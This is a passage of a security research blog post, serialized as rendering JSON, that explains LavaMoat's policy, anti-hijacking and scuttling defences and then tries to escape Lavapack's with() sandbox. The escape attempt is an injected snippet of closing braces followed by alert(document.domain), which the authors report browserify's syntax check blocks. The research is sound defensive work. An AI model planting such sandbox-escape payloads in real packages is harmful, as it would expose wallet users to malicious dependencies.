\"@metamask/providers\"",{"type":25,"tag":201,"props":48278,"children":48279},{"style":220},[48280],{"type":31,"value":38092},{"type":25,"tag":201,"props":48282,"children":48283},{"class":203,"line":226},[48284,48288,48292],{"type":25,"tag":201,"props":48285,"children":48286},{"style":267},[48287],{"type":31,"value":38100},{"type":25,"tag":201,"props":48289,"children":48290},{"style":246},[48291],{"type":31,"value":5997},{"type":25,"tag":201,"props":48293,"children":48294},{"style":220},[48295],{"type":31,"value":327},{"type":25,"tag":201,"props":48297,"children":48298},{"class":203,"line":278},[48299,48304,48308,48312],{"type":25,"tag":201,"props":48300,"children":48301},{"style":267},[48302],{"type":31,"value":48303},"        \"Event\"",{"type":25,"tag":201,"props":48305,"children":48306},{"style":246},[48307],{"type":31,"value":5997},{"type":25,"tag":201,"props":48309,"children":48310},{"style":208},[48311],{"type":31,"value":13971},{"type":25,"tag":201,"props":48313,"children":48314},{"style":220},[48315],{"type":31,"value":547},{"type":25,"tag":201,"props":48317,"children":48318},{"class":203,"line":311},[48319,48323,48327,48331],{"type":25,"tag":201,"props":48320,"children":48321},{"style":267},[48322],{"type":31,"value":38152},{"type":25,"tag":201,"props":48324,"children":48325},{"style":246},[48326],{"type":31,"value":5997},{"type":25,"tag":201,"props":48328,"children":48329},{"style":208},[48330],{"type":31,"value":13971},{"type":25,"tag":201,"props":48332,"children":48333},{"style":220},[48334],{"type":31,"value":547},{"type":25,"tag":201,"props":48336,"children":48337},{"class":203,"line":330},[48338,48343,48347,48351],{"type":25,"tag":201,"props":48339,"children":48340},{"style":267},[48341],{"type":31,"value":48342},"        \"chrome.runtime.connect\"",{"type":25,"tag":201,"props":48344,"children":48345},{"style":246},[48346],{"type":31,"value":5997},{"type":25,"tag":201,"props":48348,"children":48349},{"style":208},[48350],{"type":31,"value":13971},{"type":25,"tag":201,"props":48352,"children":48353},{"style":220},[48354],{"type":31,"value":547},{"type":25,"tag":201,"props":48356,"children":48357},{"class":203,"line":397},[48358,48363,48367,48371],{"type":25,"tag":201,"props":48359,"children":48360},{"style":267},[48361],{"type":31,"value":48362},"        \"console\"",{"type":25,"tag":201,"props":48364,"children":48365},{"style":246},[48366],{"type":31,"value":5997},{"type":25,"tag":201,"props":48368,"children":48369},{"style":208},[48370],{"type":31,"value":13971},{"type":25,"tag":201,"props":48372,"children":48373},{"style":220},[48374],{"type":31,"value":547},{"type":25,"tag":201,"props":48376,"children":48377},{"class":203,"line":437},[48378,48383,48387,48391],{"type":25,"tag":201,"props":48379,"children":48380},{"style":267},[48381],{"type":31,"value":48382},"        \"dispatchEvent\"",{"type":25,"tag":201,"props":48384,"children":48385},{"style":246},[48386],{"type":31,"value":5997},{"type":25,"tag":201,"props":48388,"children":48389},{"style":208},[48390],{"type":31,"value":13971},{"type":25,"tag":201,"props":48392,"children":48393},{"style":220},[48394],{"type":31,"value":547},{"type":25,"tag":201,"props":48396,"children":48397},{"class":203,"line":464},[48398,48403,48407,48411],{"type":25,"tag":201,"props":48399,"children":48400},{"style":267},[48401],{"type":31,"value":48402},"        \"document.createElement\"",{"type":25,"tag":201,"props":48404,"children":48405},{"style":246},[48406],{"type":31,"value":5997},{"type":25,"tag":201,"props":48408,"children":48409},{"style":208},[48410],{"type":31,"value":13971},{"type":25,"tag":201,"props":48412,"children":48413},{"style":220},[48414],{"type":31,"value":547},{"type":25,"tag":201,"props":48416,"children":48417},{"class":203,"line":490},[48418,48423,48427,48431],{"type":25,"tag":201,"props":48419,"children":48420},{"style":267},[48421],{"type":31,"value":48422},"        \"document.readyState\"",{"type":25,"tag":201,"props":48424,"children":48425},{"style":246},[48426],{"type":31,"value":5997},{"type":25,"tag":201,"props":48428,"children":48429},{"style":208},[48430],{"type":31,"value":13971},{"type":25,"tag":201,"props":48432,"children":48433},{"style":220},[48434],{"type":31,"value":547},{"type":25,"tag":201,"props":48436,"children":48437},{"class":203,"line":499},[48438,48443,48447,48452],{"type":25,"tag":201,"props":48439,"children":48440},{"style":267},[48441],{"type":31,"value":48442},"        \"ethereum\"",{"type":25,"tag":201,"props":48444,"children":48445},{"style":246},[48446],{"type":31,"value":5997},{"type":25,"tag":201,"props":48448,"children":48449},{"style":267},[48450],{"type":31,"value":48451}," \"write\"",{"type":25,"tag":201,"props":48453,"children":48454},{"style":220},[48455],{"type":31,"value":547},{"type":25,"tag":201,"props":48457,"children":48458},{"class":203,"line":522},[48459,48464,48468,48472],{"type":25,"tag":201,"props":48460,"children":48461},{"style":267},[48462],{"type":31,"value":48463},"        \"location.hostname\"",{"type":25,"tag":201,"props":48465,"children":48466},{"style":246},[48467],{"type":31,"value":5997},{"type":25,"tag":201,"props":48469,"children":48470},{"style":208},[48471],{"type":31,"value":13971},{"type":25,"tag":201,"props":48473,"children":48474},{"style":220},[48475],{"type":31,"value":547},{"type":25,"tag":201,"props":48477,"children":48478},{"class":203,"line":531},[48479,48483,48487,48491],{"type":25,"tag":201,"props":48480,"children":48481},{"style":267},[48482],{"type":31,"value":38252},{"type":25,"tag":201,"props":48484,"children":48485},{"style":246},[48486],{"type":31,"value":5997},{"type":25,"tag":201,"props":48488,"children":48489},{"style":208},[48490],{"type":31,"value":13971},{"type":25,"tag":201,"props":48492,"children":48493},{"style":220},[48494],{"type":31,"value":547},{"type":25,"tag":201,"props":48496,"children":48497},{"class":203,"line":550},[48498,48503,48507],{"type":25,"tag":201,"props":48499,"children":48500},{"style":267},[48501],{"type":31,"value":48502},"        \"web3\"",{"type":25,"tag":201,"props":48504,"children":48505},{"style":246},[48506],{"type":31,"value":5997},{"type":25,"tag":201,"props":48508,"children":48509},{"style":208},[48510],{"type":31,"value":47625},{"type":25,"tag":201,"props":48512,"children":48513},{"class":203,"line":563},[48514],{"type":25,"tag":201,"props":48515,"children":48516},{"style":220},[48517],{"type":31,"value":38269},{"type":25,"tag":201,"props":48519,"children":48520},{"class":203,"line":572},[48521,48525,48529],{"type":25,"tag":201,"props":48522,"children":48523},{"style":267},[48524],{"type":31,"value":38277},{"type":25,"tag":201,"props":48526,"children":48527},{"style":246},[48528],{"type":31,"value":5997},{"type":25,"tag":201,"props":48530,"children":48531},{"style":220},[48532],{"type":31,"value":327},{"type":25,"tag":201,"props":48534,"children":48535},{"class":203,"line":590},[48536,48541,48545,48549],{"type":25,"tag":201,"props":48537,"children":48538},{"style":267},[48539],{"type":31,"value":48540},"        \"@metamask/object-multiplex\"",{"type":25,"tag":201,"props":48542,"children":48543},{"style":246},[48544],{"type":31,"value":5997},{"type":25,"tag":201,"props":48546,"children":48547},{"style":208},[48548],{"type":31,"value":13971},{"type":25,"tag":201,"props":48550,"children":48551},{"style":220},[48552],{"type":31,"value":547},{"type":25,"tag":201,"props":48554,"children":48555},{"class":203,"line":608},[48556,48561,48565],{"type":25,"tag":201,"props":48557,"children":48558},{"style":267},[48559],{"type":31,"value":48560},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":25,"tag":201,"props":48562,"children":48563},{"style":246},[48564],{"type":31,"value":5997},{"type":25,"tag":201,"props":48566,"children":48567},{"style":208},[48568],{"type":31,"value":47625},{"type":25,"tag":34,"props":48570,"children":48571},{},[48572,48573,48578,48580,48585,48587,48593],{"type":31,"value":18109},{"type":25,"tag":115,"props":48574,"children":48576},{"className":48575},[],[48577],{"type":31,"value":38342},{"type":31,"value":48579}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":25,"tag":115,"props":48581,"children":48583},{"className":48582},[],[48584],{"type":31,"value":38350},{"type":31,"value":48586}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":25,"tag":115,"props":48588,"children":48590},{"className":48589},[],[48591],{"type":31,"value":48592},"@metamask/providers",{"type":31,"value":48594}," interacts with other packages.",{"type":25,"tag":34,"props":48596,"children":48597},{},[48598,48600,48606],{"type":31,"value":48599},"To enforce these policies, LavaMoat uses ",{"type":25,"tag":115,"props":48601,"children":48603},{"className":48602},[],[48604],{"type":31,"value":48605},"lavapack",{"type":31,"value":48607},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":25,"tag":20392,"props":48609,"children":48611},{"id":48610},"npm-anti-hijacking",[48612],{"type":31,"value":48228},{"type":25,"tag":34,"props":48614,"children":48615},{},[48616],{"type":31,"value":48617},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":25,"tag":34,"props":48619,"children":48620},{},[48621,48623,48630],{"type":31,"value":48622},"Instead, Lavamoat looks at how each package is connected by ",{"type":25,"tag":71,"props":48624,"children":48627},{"href":48625,"rel":48626},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[75],[48628],{"type":31,"value":48629},"walking the modules",{"type":31,"value":48631}," in a project's dependency tree, thus generating a unique name for each package.",{"type":25,"tag":20392,"props":48633,"children":48635},{"id":48634},"scuttling",[48636],{"type":31,"value":48233},{"type":25,"tag":34,"props":48638,"children":48639},{},[48640,48642,48648],{"type":31,"value":48641},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":25,"tag":115,"props":48643,"children":48645},{"className":48644},[],[48646],{"type":31,"value":48647},"GlobalThis",{"type":31,"value":48649}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":25,"tag":34,"props":48651,"children":48652},{},[48653,48655,48662],{"type":31,"value":48654},"For example, ",{"type":25,"tag":71,"props":48656,"children":48659},{"href":48657,"rel":48658},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[75],[48660],{"type":31,"value":48661},"here",{"type":31,"value":48663}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":25,"tag":191,"props":48665,"children":48667},{"className":193,"code":48666,"language":195,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[48668],{"type":25,"tag":115,"props":48669,"children":48670},{"__ignoreMap":7},[48671,48700,48750,48809,48816,48888],{"type":25,"tag":201,"props":48672,"children":48673},{"class":203,"line":204},[48674,48678,48682,48687,48691,48696],{"type":25,"tag":201,"props":48675,"children":48676},{"style":230},[48677],{"type":31,"value":13781},{"type":25,"tag":201,"props":48679,"children":48680},{"style":220},[48681],{"type":31,"value":238},{"type":25,"tag":201,"props":48683,"children":48684},{"style":246},[48685],{"type":31,"value":48686},"scuttleOpts",{"type":25,"tag":201,"props":48688,"children":48689},{"style":220},[48690],{"type":31,"value":80},{"type":25,"tag":201,"props":48692,"children":48693},{"style":246},[48694],{"type":31,"value":48695},"enabled",{"type":25,"tag":201,"props":48697,"children":48698},{"style":220},[48699],{"type":31,"value":275},{"type":25,"tag":201,"props":48701,"children":48702},{"class":203,"line":226},[48703,48707,48711,48715,48720,48724,48729,48733,48737,48741,48746],{"type":25,"tag":201,"props":48704,"children":48705},{"style":230},[48706],{"type":31,"value":40357},{"type":25,"tag":201,"props":48708,"children":48709},{"style":220},[48710],{"type":31,"value":238},{"type":25,"tag":201,"props":48712,"children":48713},{"style":261},[48714],{"type":31,"value":4114},{"type":25,"tag":201,"props":48716,"children":48717},{"style":246},[48718],{"type":31,"value":48719},"Array",{"type":25,"tag":201,"props":48721,"children":48722},{"style":220},[48723],{"type":31,"value":80},{"type":25,"tag":201,"props":48725,"children":48726},{"style":214},[48727],{"type":31,"value":48728},"isArray",{"type":25,"tag":201,"props":48730,"children":48731},{"style":220},[48732],{"type":31,"value":298},{"type":25,"tag":201,"props":48734,"children":48735},{"style":246},[48736],{"type":31,"value":48686},{"type":25,"tag":201,"props":48738,"children":48739},{"style":220},[48740],{"type":31,"value":80},{"type":25,"tag":201,"props":48742,"children":48743},{"style":246},[48744],{"type":31,"value":48745},"exceptions",{"type":25,"tag":201,"props":48747,"children":48748},{"style":220},[48749],{"type":31,"value":4141},{"type":25,"tag":201,"props":48751,"children":48752},{"class":203,"line":278},[48753,48758,48762,48766,48770,48775,48779,48783,48788,48792,48796,48800,48805],{"type":25,"tag":201,"props":48754,"children":48755},{"style":230},[48756],{"type":31,"value":48757},"        throw",{"type":25,"tag":201,"props":48759,"children":48760},{"style":208},[48761],{"type":31,"value":828},{"type":25,"tag":201,"props":48763,"children":48764},{"style":214},[48765],{"type":31,"value":41354},{"type":25,"tag":201,"props":48767,"children":48768},{"style":220},[48769],{"type":31,"value":298},{"type":25,"tag":201,"props":48771,"children":48772},{"style":267},[48773],{"type":31,"value":48774},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":25,"tag":201,"props":48776,"children":48777},{"style":208},[48778],{"type":31,"value":3045},{"type":25,"tag":201,"props":48780,"children":48781},{"style":208},[48782],{"type":31,"value":243},{"type":25,"tag":201,"props":48784,"children":48785},{"style":246},[48786],{"type":31,"value":48787}," scuttleOpts",{"type":25,"tag":201,"props":48789,"children":48790},{"style":261},[48791],{"type":31,"value":80},{"type":25,"tag":201,"props":48793,"children":48794},{"style":246},[48795],{"type":31,"value":48745},{"type":25,"tag":201,"props":48797,"children":48798},{"style":208},[48799],{"type":31,"value":3078},{"type":25,"tag":201,"props":48801,"children":48802},{"style":267},[48803],{"type":31,"value":48804},"\"`",{"type":25,"tag":201,"props":48806,"children":48807},{"style":220},[48808],{"type":31,"value":4666},{"type":25,"tag":201,"props":48810,"children":48811},{"class":203,"line":311},[48812],{"type":25,"tag":201,"props":48813,"children":48814},{"style":220},[48815],{"type":31,"value":14166},{"type":25,"tag":201,"props":48817,"children":48818},{"class":203,"line":330},[48819,48824,48828,48833,48837,48842,48846,48851,48855,48860,48864,48868,48872,48876,48880,48884],{"type":25,"tag":201,"props":48820,"children":48821},{"style":246},[48822],{"type":31,"value":48823},"      scuttleOpts",{"type":25,"tag":201,"props":48825,"children":48826},{"style":220},[48827],{"type":31,"value":80},{"type":25,"tag":201,"props":48829,"children":48830},{"style":214},[48831],{"type":31,"value":48832},"scuttlerFunc",{"type":25,"tag":201,"props":48834,"children":48835},{"style":220},[48836],{"type":31,"value":298},{"type":25,"tag":201,"props":48838,"children":48839},{"style":246},[48840],{"type":31,"value":48841},"globalRef",{"type":25,"tag":201,"props":48843,"children":48844},{"style":220},[48845],{"type":31,"value":919},{"type":25,"tag":201,"props":48847,"children":48848},{"style":246},[48849],{"type":31,"value":48850},"realm",{"type":25,"tag":201,"props":48852,"children":48853},{"style":208},[48854],{"type":31,"value":29237},{"type":25,"tag":201,"props":48856,"children":48857},{"style":214},[48858],{"type":31,"value":48859}," performScuttleGlobalThis",{"type":25,"tag":201,"props":48861,"children":48862},{"style":220},[48863],{"type":31,"value":298},{"type":25,"tag":201,"props":48865,"children":48866},{"style":246},[48867],{"type":31,"value":48850},{"type":25,"tag":201,"props":48869,"children":48870},{"style":220},[48871],{"type":31,"value":919},{"type":25,"tag":201,"props":48873,"children":48874},{"style":246},[48875],{"type":31,"value":48686},{"type":25,"tag":201,"props":48877,"children":48878},{"style":220},[48879],{"type":31,"value":80},{"type":25,"tag":201,"props":48881,"children":48882},{"style":246},[48883],{"type":31,"value":48745},{"type":25,"tag":201,"props":48885,"children":48886},{"style":220},[48887],{"type":31,"value":1086},{"type":25,"tag":201,"props":48889,"children":48890},{"class":203,"line":397},[48891],{"type":25,"tag":201,"props":48892,"children":48893},{"style":220},[48894],{"type":31,"value":4861},{"type":25,"tag":34,"props":48896,"children":48897},{},[48898,48900,48906,48908,48914],{"type":31,"value":48899},"Subsequently, the code defines a ",{"type":25,"tag":71,"props":48901,"children":48904},{"href":48902,"rel":48903},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[75],[48905],{"type":31,"value":211},{"type":31,"value":48907}," called ",{"type":25,"tag":115,"props":48909,"children":48911},{"className":48910},[],[48912],{"type":31,"value":48913},"generateScuttleOpts",{"type":31,"value":48915}," that creates and returns an options object.",{"type":25,"tag":34,"props":48917,"children":48918},{},[48919,48921,48927,48928,48934,48936,48941,48943,48949],{"type":31,"value":48920},"Finally, the ",{"type":25,"tag":115,"props":48922,"children":48924},{"className":48923},[],[48925],{"type":31,"value":48926},"performScuttleGlobalThis",{"type":31,"value":7966},{"type":25,"tag":71,"props":48929,"children":48932},{"href":48930,"rel":48931},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[75],[48933],{"type":31,"value":211},{"type":31,"value":48935}," modifies the properties of the global object (",{"type":25,"tag":115,"props":48937,"children":48939},{"className":48938},[],[48940],{"type":31,"value":48841},{"type":31,"value":48942},"). It starts by creating an array ",{"type":25,"tag":115,"props":48944,"children":48946},{"className":48945},[],[48947],{"type":31,"value":48948},"props",{"type":31,"value":48950},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":25,"tag":26,"props":48952,"children":48954},{"id":48953},"hacking-webpacks",[48955],{"type":31,"value":48956},"Hacking Webpacks",{"type":25,"tag":34,"props":48958,"children":48959},{},[48960],{"type":31,"value":48961},"Now let's get to the fun stuff.",{"type":25,"tag":34,"props":48963,"children":48964},{},[48965],{"type":31,"value":48966},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":25,"tag":191,"props":48968,"children":48970},{"className":193,"code":48969,"language":195,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[48971],{"type":25,"tag":115,"props":48972,"children":48973},{"__ignoreMap":7},[48974,49026,49038,49058,49075,49083,49091,49099,49107,49128,49136,49144,49152,49159,49166,49173],{"type":25,"tag":201,"props":48975,"children":48976},{"class":203,"line":204},[48977,48981,48986,48990,48995,48999,49004,49008,49013,49017,49022],{"type":25,"tag":201,"props":48978,"children":48979},{"style":208},[48980],{"type":31,"value":37258},{"type":25,"tag":201,"props":48982,"children":48983},{"style":246},[48984],{"type":31,"value":48985}," filename",{"type":25,"tag":201,"props":48987,"children":48988},{"style":261},[48989],{"type":31,"value":413},{"type":25,"tag":201,"props":48991,"children":48992},{"style":214},[48993],{"type":31,"value":48994}," encodeURI",{"type":25,"tag":201,"props":48996,"children":48997},{"style":220},[48998],{"type":31,"value":298},{"type":25,"tag":201,"props":49000,"children":49001},{"style":214},[49002],{"type":31,"value":49003},"String",{"type":25,"tag":201,"props":49005,"children":49006},{"style":220},[49007],{"type":31,"value":298},{"type":25,"tag":201,"props":49009,"children":49010},{"style":246},[49011],{"type":31,"value":49012},"moduleData",{"type":25,"tag":201,"props":49014,"children":49015},{"style":220},[49016],{"type":31,"value":80},{"type":25,"tag":201,"props":49018,"children":49019},{"style":246},[49020],{"type":31,"value":49021},"file",{"type":25,"tag":201,"props":49023,"children":49024},{"style":220},[49025],{"type":31,"value":1086},{"type":25,"tag":201,"props":49027,"children":49028},{"class":203,"line":226},[49029,49033],{"type":25,"tag":201,"props":49030,"children":49031},{"style":208},[49032],{"type":31,"value":9364},{"type":25,"tag":201,"props":49034,"children":49035},{"style":246},[49036],{"type":31,"value":49037}," moduleWrapperSource\n",{"type":25,"tag":201,"props":49039,"children":49040},{"class":203,"line":278},[49041,49045,49049,49054],{"type":25,"tag":201,"props":49042,"children":49043},{"style":230},[49044],{"type":31,"value":233},{"type":25,"tag":201,"props":49046,"children":49047},{"style":220},[49048],{"type":31,"value":238},{"type":25,"tag":201,"props":49050,"children":49051},{"style":246},[49052],{"type":31,"value":49053},"bundleWithPrecompiledModules",{"type":25,"tag":201,"props":49055,"children":49056},{"style":220},[49057],{"type":31,"value":275},{"type":25,"tag":201,"props":49059,"children":49060},{"class":203,"line":311},[49061,49066,49070],{"type":25,"tag":201,"props":49062,"children":49063},{"style":246},[49064],{"type":31,"value":49065},"    moduleWrapperSource",{"type":25,"tag":201,"props":49067,"children":49068},{"style":261},[49069],{"type":31,"value":413},{"type":25,"tag":201,"props":49071,"children":49072},{"style":267},[49073],{"type":31,"value":49074}," `function(){\n",{"type":25,"tag":201,"props":49076,"children":49077},{"class":203,"line":330},[49078],{"type":25,"tag":201,"props":49079,"children":49080},{"style":267},[49081],{"type":31,"value":49082},"      with (this.scopeTerminator) {\n",{"type":25,"tag":201,"props":49084,"children":49085},{"class":203,"line":397},[49086],{"type":25,"tag":201,"props":49087,"children":49088},{"style":267},[49089],{"type":31,"value":49090},"        with (this.globalThis) {\n",{"type":25,"tag":201,"props":49092,"children":49093},{"class":203,"line":437},[49094],{"type":25,"tag":201,"props":49095,"children":49096},{"style":267},[49097],{"type":31,"value":49098},"          return function() {\n",{"type":25,"tag":201,"props":49100,"children":49101},{"class":203,"line":464},[49102],{"type":25,"tag":201,"props":49103,"children":49104},{"style":267},[49105],{"type":31,"value":49106},"            'use strict';\n",{"type":25,"tag":201,"props":49108,"children":49109},{"class":203,"line":490},[49110,49115,49119,49124],{"type":25,"tag":201,"props":49111,"children":49112},{"style":267},[49113],{"type":31,"value":49114},"            // source: ",{"type":25,"tag":201,"props":49116,"children":49117},{"style":208},[49118],{"type":31,"value":3045},{"type":25,"tag":201,"props":49120,"children":49121},{"style":246},[49122],{"type":31,"value":49123},"filename",{"type":25,"tag":201,"props":49125,"children":49126},{"style":208},[49127],{"type":31,"value":1187},{"type":25,"tag":201,"props":49129,"children":49130},{"class":203,"line":499},[49131],{"type":25,"tag":201,"props":49132,"children":49133},{"style":267},[49134],{"type":31,"value":49135},"            return function (require, module, exports) {\n",{"type":25,"tag":201,"props":49137,"children":49138},{"class":203,"line":522},[49139],{"type":25,"tag":201,"props":49140,"children":49141},{"style":267},[49142],{"type":31,"value":49143},"              __MODULE_CONTENT__\n",{"type":25,"tag":201,"props":49145,"children":49146},{"class":203,"line":531},[49147],{"type":25,"tag":201,"props":49148,"children":49149},{"style":267},[49150],{"type":31,"value":49151},"            };\n",{"type":25,"tag":201,"props":49153,"children":49154},{"class":203,"line":550},[49155],{"type":25,"tag":201,"props":49156,"children":49157},{"style":267},[49158],{"type":31,"value":10210},{"type":25,"tag":201,"props":49160,"children":49161},{"class":203,"line":563},[49162],{"type":25,"tag":201,"props":49163,"children":49164},{"style":267},[49165],{"type":31,"value":4853},{"type":25,"tag":201,"props":49167,"children":49168},{"class":203,"line":572},[49169],{"type":25,"tag":201,"props":49170,"children":49171},{"style":267},[49172],{"type":31,"value":14166},{"type":25,"tag":201,"props":49174,"children":49175},{"class":203,"line":590},[49176],{"type":25,"tag":201,"props":49177,"children":49178},{"style":267},[49179],{"type":31,"value":49180},"    }`\n",{"type":25,"tag":34,"props":49182,"children":49183},{},[49184,49186,49192,49194,49200],{"type":31,"value":49185},"Lavapack uses ",{"type":25,"tag":115,"props":49187,"children":49189},{"className":49188},[],[49190],{"type":31,"value":49191},"with()",{"type":31,"value":49193}," proxies to restrict the objects accessible by the module, and ",{"type":25,"tag":115,"props":49195,"children":49197},{"className":49196},[],[49198],{"type":31,"value":49199},"__MODULE_CONTENT__",{"type":31,"value":49201}," is replaced by the content of a file required by the project being built.",{"type":25,"tag":40,"props":49203,"children":49205},{"id":49204},"injection-not-so-simple",[49206],{"type":31,"value":49207},"Injection? Not So Simple",{"type":25,"tag":34,"props":49209,"children":49210},{},[49211,49213,49218],{"type":31,"value":49212},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":25,"tag":115,"props":49214,"children":49216},{"className":49215},[],[49217],{"type":31,"value":14153},{"type":31,"value":49219}," environment:",{"type":25,"tag":191,"props":49221,"children":49223},{"className":193,"code":49222,"language":195,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[49224],{"type":25,"tag":115,"props":49225,"children":49226},{"__ignoreMap":7},[49227,49240,49252,49264,49276,49283],{"type":25,"tag":201,"props":49228,"children":49229},{"class":203,"line":204},[49230,49235],{"type":25,"tag":201,"props":49231,"children":49232},{"style":220},[49233],{"type":31,"value":49234},"   } ",{"type":25,"tag":201,"props":49236,"children":49237},{"style":4497},[49238],{"type":31,"value":49239},"// end function 1\n",{"type":25,"tag":201,"props":49241,"children":49242},{"class":203,"line":226},[49243,49247],{"type":25,"tag":201,"props":49244,"children":49245},{"style":220},[49246],{"type":31,"value":317},{"type":25,"tag":201,"props":49248,"children":49249},{"style":4497},[49250],{"type":31,"value":49251},"// end function 2\n",{"type":25,"tag":201,"props":49253,"children":49254},{"class":203,"line":278},[49255,49259],{"type":25,"tag":201,"props":49256,"children":49257},{"style":220},[49258],{"type":31,"value":37272},{"type":25,"tag":201,"props":49260,"children":49261},{"style":4497},[49262],{"type":31,"value":49263},"// end with 1\n",{"type":25,"tag":201,"props":49265,"children":49266},{"class":203,"line":311},[49267,49271],{"type":25,"tag":201,"props":49268,"children":49269},{"style":220},[49270],{"type":31,"value":47950},{"type":25,"tag":201,"props":49272,"children":49273},{"style":4497},[49274],{"type":31,"value":49275},"// end with 2\n",{"type":25,"tag":201,"props":49277,"children":49278},{"class":203,"line":330},[49279],{"type":25,"tag":201,"props":49280,"children":49281},{"emptyLinePlaceholder":17},[49282],{"type":31,"value":496},{"type":25,"tag":201,"props":49284,"children":49285},{"class":203,"line":397},[49286,49290,49294,49298,49302,49306],{"type":25,"tag":201,"props":49287,"children":49288},{"style":214},[49289],{"type":31,"value":1625},{"type":25,"tag":201,"props":49291,"children":49292},{"style":220},[49293],{"type":31,"value":298},{"type":25,"tag":201,"props":49295,"children":49296},{"style":246},[49297],{"type":31,"value":1635},{"type":25,"tag":201,"props":49299,"children":49300},{"style":220},[49301],{"type":31,"value":80},{"type":25,"tag":201,"props":49303,"children":49304},{"style":246},[49305],{"type":31,"value":1645},{"type":25,"tag":201,"props":49307,"children":49308},{"style":220},[49309],{"type":31,"value":4666},{"type":25,"tag":34,"props":49311,"children":49312},{},[49313,49315,49321,49323,49330],{"type":31,"value":49314},"However, when we tried to bundle it, a ",{"type":25,"tag":115,"props":49316,"children":49318},{"className":49317},[],[49319],{"type":31,"value":49320},"ParseError",{"type":31,"value":49322}," was thrown. This is because Lavapack is a plugin of ",{"type":25,"tag":71,"props":49324,"children":49327},{"href":49325,"rel":49326},"https://github.com/browserify/browserify",[75],[49328],{"type":31,"value":49329},"browserify",{"type":31,"value":49331},", which has a syntax check before replacing the code.",{"type":25,"tag":34,"props":49333,"children":49334},{},[49335,49337,49343,49345,49351,49353,49359,49361,49366],{"type":31,"value":49336},"Looking deeper into browserify, we find it has a ",{"type":25,"tag":115,"props":49338,"children":49340},{"className":49339},[],[49341],{"type":31,"value":49342},"syntax",{"type":31,"value":49344}," stage on it's pipeline, and uses the ",{"type":25,"tag":115,"props":49346,"children":49348},{"className":49347},[],[49349],{"type":31,"value":49350},"syntax-error",{"type":31,"value":49352}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":25,"tag":115,"props":49354,"children":49356},{"className":49355},[],[49357],{"type":31,"value":49358},"pack",{"type":31,"value":49360}," stage on browserify pipeline, which comes after the ",{"type":25,"tag":115,"props":49362,"children":49364},{"className":49363},[],[49365],{"type":31,"value":49342},{"type":31,"value":49367},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":25,"tag":34,"props":49369,"children":49370},{},[49371],{"type":25,"tag":127,"props":49372,"children":49375},{"alt":49373,"src":49374},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":25,"tag":34,"props":49377,"children":49378},{},[49379,49380,49385,49387,49392],{"type":31,"value":18109},{"type":25,"tag":115,"props":49381,"children":49383},{"className":49382},[],[49384],{"type":31,"value":49350},{"type":31,"value":49386}," package performs a syntax check by using  ",{"type":25,"tag":115,"props":49388,"children":49390},{"className":49389},[],[49391],{"type":31,"value":38618},{"type":31,"value":49393}," with function hoisting:",{"type":25,"tag":191,"props":49395,"children":49397},{"className":193,"code":49396,"language":195,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[49398],{"type":25,"tag":115,"props":49399,"children":49400},{"__ignoreMap":7},[49401,49413,49463,49474,49481,49502,49543,49603,49644],{"type":25,"tag":201,"props":49402,"children":49403},{"class":203,"line":204},[49404,49409],{"type":25,"tag":201,"props":49405,"children":49406},{"style":230},[49407],{"type":31,"value":49408},"try",{"type":25,"tag":201,"props":49410,"children":49411},{"style":220},[49412],{"type":31,"value":327},{"type":25,"tag":201,"props":49414,"children":49415},{"class":203,"line":226},[49416,49421,49425,49430,49434,49439,49443,49448,49454,49459],{"type":25,"tag":201,"props":49417,"children":49418},{"style":214},[49419],{"type":31,"value":49420},"    eval",{"type":25,"tag":201,"props":49422,"children":49423},{"style":220},[49424],{"type":31,"value":298},{"type":25,"tag":201,"props":49426,"children":49427},{"style":267},[49428],{"type":31,"value":49429},"'throw \"STOP\"; (function () { 